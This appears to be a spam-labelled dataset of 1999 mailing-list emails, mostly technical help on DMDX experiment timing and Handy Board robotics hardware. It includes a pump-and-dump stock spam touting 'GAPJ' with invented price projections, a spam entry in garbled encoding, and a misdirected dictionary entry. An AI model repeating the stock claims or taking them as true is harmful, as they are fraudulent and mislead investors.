mailing list can help you. -Jim Munro",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Sep 1999 17:16:45 -0700",[DMDX],"Jonathan, Both seem like logical suggestions, unfortunately neither one (or both in combination) enabled reponses to record from that button. Other suggestions? Clay On Tue, 21 Sep 1999, j.c.f. wrote: > At 07:15 PM 9/21/99 -0700, you wrote: > > > Yes, you will have to map that input bit to some DMDX input for regular > >item files (eg: ), for a zillion file you will ahve to > >declare it as a valid zillion response with . > > Actually, the way the zillion keys work as soon as you indicate that you > would like to exclude some keys and not others then you have to > specifically declare all the keys you want. This however wouldn't solve > your problem, you are getting blocked by the method of input which is > masking off anything from the PIO but the lowest three bits, you will need > a (I think mip is still octal, it's default is 7) and no > keywords. > > -jonathan (j.c.f.) ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Sep 1999 21:40:14 -0700",[DMDX] Re: ,"At 05:16 PM 9/22/99 -0700, you wrote: >Jonathan, > >Both seem like logical suggestions, unfortunately neither one (or both in >combination) enabled reponses to record from that button. Other >suggestions? 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Forms: 1 bócian, 3–4 boke(n, 4–7 booke, 4– book. [OE. bócian, corresp. to OFris. bôkia, ON. bóka: from the n.: see prec.] †1. trans. To grant or assign (land) by charter: see book n. 1. Obs. (exc. Hist.) 966 in Cod. Dipl. 531 Oswald biscop bocaþ Wihthelme his þeʒne. 1844 Lingard Anglo-Sax. Ch. (1858) I. App. 374 Ethelwulf, king of Wessex, books the lands of twenty families, not to a subject, but to himself. 1876 Digby Real Prop. i. 12 Land thus granted was said to be `booked' to the grantee, and was called bocland or bookland. 2. a. To enter in a book; to record, register. a1225 Ancr. R. 158 Þauh þe engel Gabriel hefde his burde ibocked. 1393 Gower Conf. I. 3 Some newe thing I shulde boke. 1594 Nashe Unfort. Trav. 9, I haue done a thousand better iests, if they had been bookt. 1610 Holland Camden's Brit. i. 4 The Bardi..thought it not lawfull to write and booke anything. 1710 Lond. Gaz. No. 4677/4 They..saw him [a horse] book'd in the Market Book. 1854 Hooker Himal. Jrnls. I. x. 247 To seize and book every object worth noticing. 1883 Manch. Exam. 26 Nov. 4/2 Not eager to book fresh orders. b. fig. 1575 Sir N. Breton in Farr S.P. (1845) i, How in your heart you may for euer booke it. a1656 Bp. Hall Rem. Wks. (1660) 183 The Almighty..books their number for an everlasting remembrance. c. To make an entry of or against a person's name; esp. to enter (a name) in a police register for an alleged offence; see also quot. 1846. 1841 Fistiana 58 The names of individuals of distinction were `booked' for indictment, should the prosecution of the principal..end in a conviction. 1846 Snowden Magistrate's Assistant 344 Caught, taken, or disposed of: booked. 1902 Wodehouse Pothunters iii. 49 If he books a chap out of bounds it keeps him happy for a week. 1935 Steinbeck Tortilla Flat viii. 122 The police sergeant said he hadn't booked them for a long time. 1961 P. Barry Unwillingly to School xv. 204 If you hadn't been a learner driver..I'd have booked you for that! d. To put (tackle) in a fishing-book. 1892 Field 18 June 922/3 We therefore book our cast, and wind up for the day. 3. a. To enter in a list, to enrol, enlist. 1548 Udall, etc. Erasm. Par. Acts v. 14 Which had not yet..booked themselues as souldiers. 1607 Hieron Wks. I. 284 Enrouled and booked among Christians. 1612 J. Davies Why Ireland, &c. (1787) 176 He caused the marchers to book their men. b. To enter (the arrival or departure of an employee, hotel guest, etc.) in a book; so to book in, out. Also intr. to book off, to sign an attendance book on going off duty. 1902 Daily Chron. 13 May 10/5 Baker's..Bookkeeper.—Young lady required, with good experience, to book men and keep books. Ibid., Wanted young lady,..one able to book in. Ibid., Shopwoman wanted, capable of booking out men. 1928 Observer 3 Feb. 12/7 To-night he drives his engine for the last time. To-morrow he `books off'..and the Line knows him no more. 1958 Spectator 22 Aug. 251/1 Booking in immediately before the flight. 1958 Times 3 Sept. 13/4 O'Brien-Greer booked in at the hotel on August 20. 4. a. To engage for oneself by payment (a seat or place in a travelling conveyance or in a theatre or other place of entertainment). Also absol. 1826 Disraeli Viv. Grey iii. iv. 99, I will give them orders to book an inside place for the poodle. 1837 Dickens Pickw. xxxv, Sam Weller booked for them all. 1878 F. Williams Midl. Railw. 628 When railways were first opened for passenger traffic..the traveller had to give his name..his seat was `booked'. a1887 Theatrical Advt. Seats can be booked one month in advance. b. To enter (the name of a passenger, etc.) for a seat or place; to issue railway tickets to; refl. to obtain a railway ticket for oneself. Also intr. to book through: to obtain a ticket to cover a whole journey. 1841 Marryat Poacher xli, He booked himself for the following day's coach. 1844 Dickens Mart. Chuz. li. 592 The other [man], seating himself on the steps of the coach, remained in conversation with Slyme... `He's booked,' observed the man. `Through,' said Slyme. 1858 Penny Cycl. 2nd Suppl. 565/2 A man may now `book through' from London to so many continental cities. 1859 Jephson Brittany ii. 8, I booked myself at the Waterloo Station for Jersey. 1884 Gt. West. Railw. Time Table July 53 Passengers are booked through from Warwick. c. To enter and pay for the transmission of (goods, etc.) by any conveyance. 1807 Lamb Let. 29 Jan. (1868) I. 251 Dear Wordsworth—We have book'd off from Swan and Two Necks, Lad Lane, this day (per coach) the Tales from Shakspear.1829 Lamb in Select. Bernard Barton (1849) 139 The parcel is booked for you this 25th March. 1849 De Quincey Eng. Mail Coach Wks. IV. 297 [It was] not in the way-bill and therefore could not have been booked. 1885 Law Times LXXX. 45/1 His drover..booked them [cattle] to the Nantwich station. 5. transf. To engage (a person) as a guest or the like. Also with up. colloq. Cf. booked 3. 1872 Proc. Amer. Philol. Soc. 18 It seems singular to the American to hear an Englishman speak of `booking' his friend for dinner. a1887 Mod. I shall book you for that evening.1906 Daily Chron. 20 Oct. 7/2 The defendant..wrote: `Thanks for calling. I am pleased to book you for four—or it may be five Sundays.'..Mr. ——..said he was engaged at £2. 2. 0 a day. 1923 Wodehouse Inimit. Jeeves iii. 35 Before I went I had been booked up to take brother and the girl for a nice drive that afternoon. *4 book, obs. pa. t. of bake; obs. f. buck, bulk. * ",0,0 Russ Cox ,9fans@cse.psu.edu,"Wed, 22 Sep 1999 23:05:12 -0400",[9fans] oops,"'twas only meant to go to jim, although i'm sure y'all are enthralled by the definition of book. sorry about that. russ ",0,0 igord@softhome.net,handyboard@media.mit.edu,"Thu, 23 Sep 1999 06:54:41 +0000",Source for IS1U60,"Hi! Can anybody point me to a mail order company who carries the Sharp IS1U60 infrared demodulator? Thanx...Igor ",0,0 downwithchrist@netscape.net,<>,"Thu, 23 Sep 1999 05:04:03 -0700",Update your records!,"Update Your Records! Paul DaCosta has recently signed up for a free, new email account from Netscape WebMail by USA.NET. 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",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 1999 17:25:41 +0100",[DMDX] Display Characteristics of Laptops,"Dennis Norris and I (mainly Dennis) checked the display timing on our Dell laptops today using a using an oscilloscope etc. It looks like there is an approximately 20ms rise time before the screen reaches full brightness. There is also an approximate 10ms fall time before the screen is black. Also, the display on a CRT flickers with the raster, whereas on the laptop it is constant. Actually, it decays just very slightly over time, though it is not obvious why. To be safe we will probably from now on add one extra tick to our usual tick rate for masked priming. 4 instead of 3 (16.67 ms) ticks on the laptop. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 14:15:35 +0000",Re: Source for IS1U60,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Igor Diko) writes: >Hi! >Can anybody point me to a mail order company who carries the Sharp >IS1U60 infrared demodulator? http://www.marshal.com carries them, but they currently say they have no stock, you'd have to find what their lead-time is. Also, a Canadian firm http://www.hvwtech.com carries them, and they DO have them in stock. HVW's cost about US$1.00 more, but at least you can get them! DLC ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 14:20:54 +0000",Re: Source for IS1U60,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Igor Diko) writes: >Hi! >Can anybody point me to a mail order company who carries the Sharp >IS1U60 infrared demodulator? Addendum to my last post. For my money, I would get the LiteOn unit instead. Its less fragile (nifty metal can) and has the same pinout as the Sharp GP1U58Y units, and you can get them in a variety of frequencies at http://www.digikey.com. Part Number 160-1153, in stock about $2.50 each. Note!!! For both the LiteOn and Sharp IS1U60 parts pay attention to that 47uf cap and 47 ohm resistor low-pass filter, you will never get it to work right without it! Check out my web page http://www.verinet.com/~dlc/botlinks.htm and bonk on the ""all in one"" stamp II robot board for a schematic setup for this part. have fun, DLC ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 07:29:29 -0700",Re: Source for IS1U60,"Hi Igor - - When you need to locate parts, try this link: http://www.findchips.com/ I found a couple of sources for the IS1U60 through them. - Nick - Igor Diko wrote: > > Hi! > Can anybody point me to a mail order company who carries the Sharp > IS1U60 infrared demodulator? > > Thanx...Igor ",0,1 Tom Napolitano ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 14:54:57 +0000",Re: before I reinvent the wheel," No, but I have used my HP48sx to control the Fascinating Electronics board as well as an NRD535 shortwave receiver. The serial I/O of the HP48 is limited to shield, ground, tx and rx pins so in both cases I had to wire special cables to jumper handshaking pins to fool the device into accepting signals. We're not talking OC196 speeds here, so everything has worked fine. In lugnet.robotics.handyboard, handyboard@media.mit.edu (Dito, Paul) writes: >Has anyone used their HP48 to talk to a handyboard? ",0,0 Paul DaCosta ,Handyboard ,"Thu, 23 Sep 1999 11:01:14 -0400",OVER 1 AMP,"Now, I recieved two good answers for my problems. 1) Built an H-Bridge 2) Use the LMD18200 Now has any one any documentation on an easy H bridge that I could build without wasting much time? The same goes for the LMD18200, I understand that is not compatible with the HB, has any one built a small circuit which would interface the HB and LMD18200 Oh yeah, one more thing, how about connecting a 5 ohm resistor in series with a DC motor and there are 2 amps flowing, then the resistor is dissipating 20 watts of heat. Now I could have a higher value for the resistor, like 7, 10 ohms, I think that could do it too! Is this an easier way??? HAS ANY ONE USED MOTORS RATED OVER 1 AMP WITH THE HANDY BOARD? > > > >IF SO, HOW DID YOU GO ABOUT INTERFACING WITH THE HB? > > > >DID ANYONE USE THE L293 D/B, OR THE SNJ74 ? > > > >IS IT A BAD IDEA TO PIGGY-BACK MORE THAN TWO OF THESE CHIPS IN PARALLEL, > >SAY 3 OR 4? > > > >THIS IS MY PROBLEM > > > >MY MOTORS RATE 1AMP CONTINUOUS AND 3.5 PEAK > >I'M USING A NICD BATTERY 9.6 VOLTS 950 mAh > > > >HOW DO I GO ABOUT DOING THIS???? ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 1999 12:19:39 -0700",[DMDX] zillion pio12 problems.,"What Clay needs is a , bit 4 is 10000 not 1000. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who has a why to live for can bear with almost any how. - Nietzsche",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 1999 12:22:19 -0700",[DMDX] Re: zillion pio12 problems.,"At 12:19 PM 9/23/99 -0700, you wrote: > > What Clay needs is a , bit 4 is 10000 not 1000. That or use the keyword to specifically enable just the VOX bit... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who has a why to live for can bear with almost any how. - Nietzsche",0,0 Dennis Clark ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 16:28:36 +0000",Re: OVER 1 AMP,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Paul DaCosta) writes: >Now, I recieved two good answers for my problems. > >1) Built an H-Bridge >2) Use the LMD18200 > >Now has any one any documentation on an easy H bridge that I could build >without wasting much time? www.yahoo.com, search for ""H Bridge"", trust me, lots of hits will comeup. Look for the 4QD pages, they talk a lot about H Bridge designs. If you aren't comfortable with electronic design, don't bother though... >The same goes for the LMD18200, I understand that is not compatible with This IS an H Bridge. Its a 3Amp one. Go to the National Sem. site and get the databook pages for it, there are circuit design suggestions in there that are quite detailed. >the HB, has any one built a small circuit which would interface the HB >and LMD18200 As opposed to a large circuit? 8-() If you don't feel comfortable with designing your own circuits, check out http://www.hvwtech.com and look at their L298 driver board, its about US$15 and has all of the parts, put it together and connect it up. I have two of their boards, very nice. >Oh yeah, one more thing, how about connecting a 5 ohm resistor in series > >with a DC motor and there are 2 amps flowing, then the resistor is >dissipating 20 watts of heat. >Now I could have a higher value for the resistor, like 7, 10 ohms, I >think that could do it too! > >Is this an easier way??? Actually, this is a fairly easy way to make a space heater, is there some other reason you want to do this? If you want to use this as a motor speed control, its a very bad (wasteful) idea. PWM is what you want, the H-Bridge type controllers just love to use PWM to handle this. have fun, DLC ",0,1 Gary Livick ,Paul DaCosta ,"Thu, 23 Sep 1999 09:47:17 -0700",Re: OVER 1 AMP,"Dear Paul, I have an H-bridge that I designed to run big motors. It runs at two amps continuous, and three amps intermittantly. It uses 5 volts for logic from your Handyboard, and 12 volts from a gel cell to run the motors. It also has an analog feedback signal proportional to motor current that you can read from the Handyboard. You use it by removing one of the L293D chips from your board, and plugging into the socket. I use an Allegro dual H-bridge. I have circuit boards made up for the bridge, and most of the components. I would need to order a couple items to build you a board, and I would need about two weeks to have one ready. I'd also need to write up some interfacing instructions for you, but there wouldn't be much to that. I designed the prototype using a Handyboard to run it. The board was designed to sell commercially, but I haven't quite completed the overall package it is to go with. Check out http://www.lightwaverobotics.com to see what I'm up to. If you want a board complete as above, it's $100. In another week or so, I can take credit cards, or you can mail in a check. You can do better! There are other sources that will come in somewhat less expensive. However, mine is made for you specifically, and is not a general design with little interfacing support. If you object to this solicitation, I don't mind. In fact, I'll send you the design for free just for having irritated you, and you can make your own by hand. Best Regards, Gary Livick ",0,1 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 1999 14:43:44 -0700",[DMDX],"Eureka! did the trick for recording Bit4! Thanks tremendously. Now I have another challenge. I'm displaying a series of images (.bmp), each of which is followed by a prompt (also .bmp) for a response. My timing is 500 msec for the image, 2500 msec for the response prompt, and this sequence is repeated several times. I have coded to get a timed recording of when my images appear. I would also like to have a timed recording of when they go off screen. To clarify, I need this for the 500 msec. image, not the prompt that follows. Here's a sample of my code for two images, each followed by a prompt. =1101 *g""e:\\Iaps\\1101.bmp""/, g""e:\\Iaps\\PUN.bmp""/; =1102 *g""e:\\Iaps\\1102.bmp""/, g""e:\\Iaps\\PUN.bmp""/; Suggestions? I'm running this on Monday, and speed is of the essence. Many thanks, Clay On Thu, 23 Sep 1999, Jonathan C. Forster wrote: > At 12:19 PM 9/23/99 -0700, you wrote: > > > > What Clay needs is a , bit 4 is 10000 not 1000. > -jonathan (j.c.f.) ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Thu, 23 Sep 1999 15:18:16 -0700",Computer Serial Port Optoisolator,"This is somewhat off subject, but I am looking for a circuit schematic that will show how to build a serial port optoisolator for my computer. The problem I am having is that once in a while I wire a circuit wrong and end up putting 115V onto the ground pin on my serial port. Obviously the computer does not like this very much and I ended up frying an old motherboard. Anyway, I wanted to build a small box that contained a circuit that I could use to completely isolate my circuits from the serial port, yet still be able to transmit and receive data through the port. If any of you have seen such a schematic or pre-existing part I would be extremely grateful. Thanks Bill Denzel ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 1999 17:46:24 -0700",[DMDX] Re: ,"At 02:43 PM 9/23/99 -0700, you wrote: >this sequence is repeated several times. I have coded to get a >timed recording of when my images appear. I would also like to have a >timed recording of when they go off screen. You can't. will only record the clock on time. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You see but you do not observe. - Sir Arthur Conan Doyle, in ""The Memoirs of Sherlock Holmes""",0,0 Giang Tran ,handyboard@media.mit.edu,"Thu, 23 Sep 1999 18:29:15 -0500",Using 12V supply with Exp Board (2nd posting),"Hi all, This is a second posting of the question I posted up several days ago. So I apologize in advance for any inconvenience if you've already got my first posting. Anyways, I am currently using the 9.6V supply voltage on the HB and hoping to step up the supply to 12V. The problem is that since the Expansion Board share the same power supply at the J6 junction it means that the 6V supply connected to the diode labelled D5 (Please see expansion board electrical schematic for detail at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/expsch30 .gif) will also be increased to 9V, am I right? If this is the case, then what is the 6 V supply for? Is it safe to assume that whatever is using will be able to handle the increase voltage as well? Also, since the collector input of Q2 (3906 transistor for LEGO sensor) also share the J6 header, will the LEGO sensor circuit be able to handle the increased voltage too? I'd be very grateful if someone can help me answer these questions. Thanks. ",0,1 """Curt Mills, WE7U"" ",Handyboard ,"Thu, 23 Sep 1999 16:33:51 -0700",OptoIsolators," Regarding the serial port isolator (opto-isolators are good for this) you might see if www.blackbox.com has something along those lines. You could also look up parts similar to the 4N33 to see if you could use something like that in a design. Not sure what any recent part numbers are. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Will ,Handyboard Mailing List ,"Thu, 23 Sep 1999 23:17:12 -0600",No objection,"Gary Livick wrote: > If you object to this solicitation, I don't mind. In fact, I'll send > you the design for free just for having irritated you, and you can make > your own by hand. I don't mind that sort of solicitation. I think it's great that you're helping the Handy Board community by developing HB robotics accessories. I might end up being a customer when you get it up & running. Good luck in your endeavor. Sincerely, -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, When I was born, I was so surprised Will Bain, I couldn't talk for a year and a half. & Tatoosh -- Gracie Allen",0,0 Jens Graf ,handyboard@media.mit.edu,"Fri, 24 Sep 1999 05:37:35 +0000",error when loading *.icb file,"Hi, I have downloaded the as11 assembler. When I assemble a *.asm file, a *.icb file was created. Then I whated to load the file in the HB but the message ""Fatal internal error: Illegal line in .s19 file"" was dispayed on the monitor. What's the problem? Thanks jens ",0,0 ������Bruceg ,,"Fri, 24 Sep 1999 13:12:43 +0800",�L���I��QBruceg,"�s����1 �i���~�P�Z959���j�s������ ���z���L�F�� ���������z�S���p�����M ������������ ���O���z���W���������t�V�X�� ���������z�@�������s���D ���z�L���I���Q ����������    riskfree4980@hotmail.com �d�U�m�W�M���b�������s���q�� �D������   ���s�����������|    �H�K�~�R �����N�������z�A�� ���H�e�~�o�e   ���������^�� �p�����Z������ FFri, 24 Sep 1999 08:07:43 +0300",1,0 Paul DaCosta ,Handyboard ,"Fri, 24 Sep 1999 08:56:00 -0400",EXTENSION BOARD,"I every one, I have a problem, is it possible to have an extension board connected to the HB, and at the same time have a seperate motor power source? The reason I'm asking this is because that the ""seperate motor power source"" and ""extension board"" would have to share the same motor power header. And another problem that would arise is that if I cut the motor power trace, would the extension board still work???? Thanks, ",0,0 dv24ga09 <1tgf3q@yamaha.com>,"DMDX@psy1.psych.arizona.edu, elisa@psy1.psych.arizona.edu, autumn@psy1.psych.arizona.edu, arline@psy1.psych.arizona.edu","Fri, 24 Sep 1999 14:07:46 +0100",This will feel good [HOT NEWS] bridgeheads Formica,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. 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This looks very lucrative in coming weeks, Get GAPJ First Thing Monday bellwethers flashy applicable imputed dependability devises indignity drug Verde bouts Valparaiso Dadaism almanac's blat encouraged contrive executor dipped Verde follows legislates cannibalize initials lowboy capitalizations gangster colt's contrive baring hooligan expertly Williamson fertilizing cemented Alabamian colonies baneberry dependability",1,0 Gary Livick ,Jens Graf ,"Fri, 24 Sep 1999 09:12:24 -0700",Re: error when loading *.icb file,"I had the same problem. When I run as11-ic on my MAC, I have no problem. When I do it on an IBM clone, I cannot load it into the Handy Board. I fixed it by hand-editing out the comment line (its in human language) in the generated .s19 file and it worked fine. Give that a try. Good luck, and let me know if it works. Gary Livick ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 24 Sep 1999 17:15:05 +0000",Re: error when loading *.icb file,"this is a known problem. see the FAQ: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#icb fred In your message you said: > I had the same problem. When I run as11-ic on my MAC, I have no > problem. When I do it on an IBM clone, I cannot load it into the Handy > Board. I fixed it by hand-editing out the comment line (its in human > language) in the generated .s19 file and it worked fine. Give that a > try. > > Good luck, and let me know if it works. > > Gary Livick > ",0,1 Robert Pitts ,info@gso.bu.edu,"Fri, 24 Sep 1999 16:47:23 -0400",GSO Committee/Officer/Dept Rep positions open (please forward),"Please forward to other grads in your dept... Here is a summary of activities from the Thu, Sep 23, 99 Graduate Student Organization meeting. It only includes the portion of the meeting in which we described the committees, officers and dept representative positions we are trying to fill. Please take a look at each committee or position. Each lists an e-mail contact if you are interested. Those committees marked as (new) are brand-new this year and are mandated by our draft constitution (mail steering@gso.bu.edu for information or comments on the constitution). Our next general meeting will be in October (to be announced). We will attempt to finalize membership in committees, officer positions, and dept reps at that time. ---------------------------------------------------------------------------- COMMITTEES All the following committees are open to new members. Some list potential future projects, although other projects can always be suggested by students. If you are interested in pursuing a potential GSO project that doesn't seem to fall under a committee listed below, contact questions@gso.bu.edu. Financial, Academic and Research Committee (FAR) ================================================ If interested in this committee, contact far@gso.bu.edu Purpose: This committee is responsible for monitoring the financial health of graduate students, establishing adequate procedures for the handling of grievances, examining the quality of advising and encouraging successful mentoring of graduate students, and insuring that an environment conducive to productive research exists. Past Projects: - Collected information on pay rates at other schools (on web at http://gso.bu.edu/FAR) - Sponsored talk on ""Intellectual Property."" Current/Future Projects: - Creating policy statement with guidelines for ""Advising"" at BU. - Organizing seminar on ""grant-writing."" Funding Committee (new) ================= If interested in this committee, contact funding@gso.bu.edu Purpose: This committee is charged with providing support for basic operating and programming expenses. Duties also include the proposal and maintenance of a budget each year. The chair of this committee is the Treasurer. Future Projects: - Establish a budget for the funds allotted to the GSO by GRS. - Establish a form of funding for the GSO independent of the administration, possibly establishing a small grad student fee. Maintain a budget for that new source of funding. Healthcare Committee ==================== If interested in this committee, contact healthcare@gso.bu.edu Purpose: This committee is responsible for informing graduate students about their healthcare options, primarily by maintaining a repository of healthcare information available to graduate students. The committee also researches ways of improving healthcare for our graduate students and maintains a reasonable presence at forums relevant to student healthcare. Past Projects: - Provided write-ups of health insurance, dental plans, state assistance programs, etc. on the web (http://gso.bu.edu/healthcare). - Provided flyers on alternative health or dental plans (at orientation). - Organized Q&A forum for students with representative from student insurance company and BU's student health services. - Discussed possible improvements to student insurance plan with insurance company representatives. - Present at other healthcare forums at BU. Current/Future Projects: - Continue to update plans on web (those that change each year) and add additional plans. - Expand repository of information into new areas: mental health, wellness, etc. Housing and Community Committee (formerly Housing) =============================== If interested in this committee, contact housing@gso.bu.edu Purpose: This committee represents the housing interests of our graduate population. In addition, the committee investigates the concerns of graduate student welfare in regards to safety and other related matters. Past Projects: - Created and maintained the Housing Pages (http://gso.bu.edu/housing) with information to assist grads in finding housing. - Worked towards getting new students access to computer accounts before they arrived at BU so that they could access BU's online Off-campus Housing listings. Current/Future Projects: - Add additional information to the Housing Pages. - Expand beyond issues of just ""finding housing"" implied by this committee's new name and additional purpose. Liaison Committee ================= If interested in this committee, contact liaison@gso.bu.edu Purpose: This committee acts as liaison between grad students or the GSO and the administration. The chair of the committee is the Vice-President. Past Projects: - Brought grad student issues (e.g., extension of library privileges) to the attention of administration of GRS. - Acquired money from GRS for GSO projects/events. - Planned joint GSO/GRS events. Current/Future Projects: - Acquire a new lounge for all grads in GRS and for GSO events. - Work with the Funding Committee to establish a small grad student fee to fund the GSO. - Publicity Committee (new) =================== If interested in this committee, contact publicity@gso.bu.edu Purpose: This committee is responsible for (or assists with) the dissemination of information from the GSO. It maintains the GSO web site and mailing lists, assists other committees with their web pages, and assists with both paper and electronic advertisements. It is also responsible for taking minutes at GSO meetings. Social Committee ================ If interested in this committee, contact social@gso.bu.edu Purpose: This committee plans, promotes and runs social activities benefiting graduate students. Past Projects: - Organized pub nights, dim sum, billiards nights, bowling, etc. Current/Future Projects: - Continue to plan monthly social events for grads. - Possibly organize intramural sports, etc. ---------------------------------------------------------------------------- OFFICERS All the following officer positions are open to candidates. Contact questions@gso.bu.edu if you are interested in any of them. President ========= Duties: - Run General and Special GSO meetings. (General meetings are where all committees get together to report on their progress. Special meetings are called when an issue important to grads arises.) - Provide general leadership: + Stay in touch with and motivate committees on a monthly basis. + Resolve serious disagreements among members (i.e., build consensus). + Act as a main point of contact for the GSO. + Work to advance the growth of the GSO. Vice-President ============== Duties: - Chair the Liaison Committee. - Run Department Representative meetings. (Dept Rep meeting will be held at least once a semester.) - Stay in touch with committees on a monthly basis, to facilitate the Vice-President's role as a leader of the GSO. - Assume the position of leadership in the absence of the President. Treasurer ========= Just a special name for the chair of the Funding Committee. The duties of the Treasurer are those of the Funding Committee. Committee Chairpersons ====================== Each committee will have one person as their chair. Duties are: - Run respective committee meetings. - Delegate committee tasks. - Stay in touch with the President and Vice-President on a monthly basis. ---------------------------------------------------------------------------- DEPARTMENT REPRESENTATIVES As this is a new academic year, dept rep positions in each dept are open. Contact questions@gso.bu.edu if you are interested in being a department representative. Each degree-granting program or department in the Graduate School of Arts & Sciences is entitled to choose representative(s) to the GSO. Those reps should be students in that dept. The number of reps a dept may have depends on the number of its students registered in the Graduate School of Arts & Sciences; programs with up to 50 students are entitled to elect one rep; 51-100, two reps; more than 100 students, three reps. Duties: - Attend GSO Dept Rep meetings (held at least once a semester) as well as Special meetings (called when important issues arise). Attending General meetings, where committee report on their progress, is optional. - Represent the interests of their dept's grads to the GSO (they also represent grads in general). - Disseminate information from the GSO to grads in their dept. - Assist with promoting the participation of their dept's grads in the GSO or GSO events. ----------------------------------------------------------------------------",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 24 Sep 1999 19:28:34 -0700",[OT] HandyBoard batteries,"Hi All: Found: An excellent source for inexpensive HB batteries. They are new 2 AA (800mAh) cells in series for US$0.99 each. I bought 12 of them for $7.14 ... connected four of them in series and added a female connector ... added a male connector to the HB. I deep cycled them three times and then checked the capacity ... they averaged 860mAh ... none less that 820mAh. They are available from B.G.Micro (BAT1024). Tip: you need a fairly high powered soldering iron to solder to the batteries ... your little 25W iron you use for circuit board soldering won't generate enough heat. I also bought two extra cases from Mouser (537-402-RD). Now I can semi-permanently mount the box on each 'bot and easily switch the HB from 'bot to 'bot using the three screws ... the screw that's covered by the expansion board is left out ... and have three spare precharged battery packs on hand. Great flexibility, utility, and ease of use! http://www.bgmicro.com/ http://www.mouser.com/ Have fun with your HandyBoards and share your knowledge, - Nick - ",0,1 Giang Tran ,Handyboard@media.mit.edu,"Sat, 25 Sep 1999 15:26:39 -0500",Re: Using 12V supply with Expansion Board?,"At 12:13 AM 9/25/99 -0700, you wrote: I've look at the electrical schematic for both the Handy Board and Expansion and this is what I got. Because the expansion board only share the handy board's motor output for its Servo outputs, I don't think you would have a problem with the new motor power source modication unless you're planning to use the Servo motor supply and LEGO sensor outputs on the Expansion board. If you want to use the Servo outputs on the expansion board, than you would need to do some minor modifications. Since the original supply of 6V to the servo motors on the Expansion board was from the 5 series diodes (used to step down from 9.6v to 6v), you can either add 3 or 4 (each diode require ~.7v to conduct) more diodes to it to get the equivalent 6v from the new 12V or you can just use a different power source. I think using a different power source would be a much wiser thing to do since adding the required diodes would means you have to de-solder the last one and added the others to it. And since servo motors are made to operate from around 4.8v to 6v which means that if you intended to use it, you would have to cut the old Servo Motors power trace on the Expansion Board and connect the new servo motor source (a different 6V supply) onto it. The back of the Expansion board labelled where to cut the trace for the new servo motors source. Also, if you were to look at the Expansion board's electrical diagram, you will also notice that the 3906 transistor with the series 47 ohms resistor conneted to it, you would see that it share the Handy Board's motor supply also. I am assuming since the 3906 collector input can handle the voltage increase, I think the LEGO sensor input would also be ok though(not sure), I am sure it wont get fried but not sure if it would still work with the LEGO Sensors. Words of wisdom, this is what I am assuming from my logical point of view. I may be wrong so I suggest before making the modification, you should use an external variable power source to test the sensor outputs first. I suggest starting from 9.6V and slowly increasing it to 12V and check to see if any components is getting hot. Reference: Expansion Board electrical schematic: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/expsch30 .gif Handy Board motor trace cut: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/mods/hbmcut.html Rob >Hi - - >It's NOT a stupid question ... I've been wondering the same thing. >I'd like to have separate supplies both for the motors and for servo >power. When you find the solution, please let me know what you >discover. >Thanks, > - Nick - > >Giang Tran wrote: >> >> Hello 'Botter, >> >> I think I am about to ask a stupid question but as a precaution, will the >> Expansion board be ""ok"" with a new 12V motor supply rather than the 9.6V >> connected to the 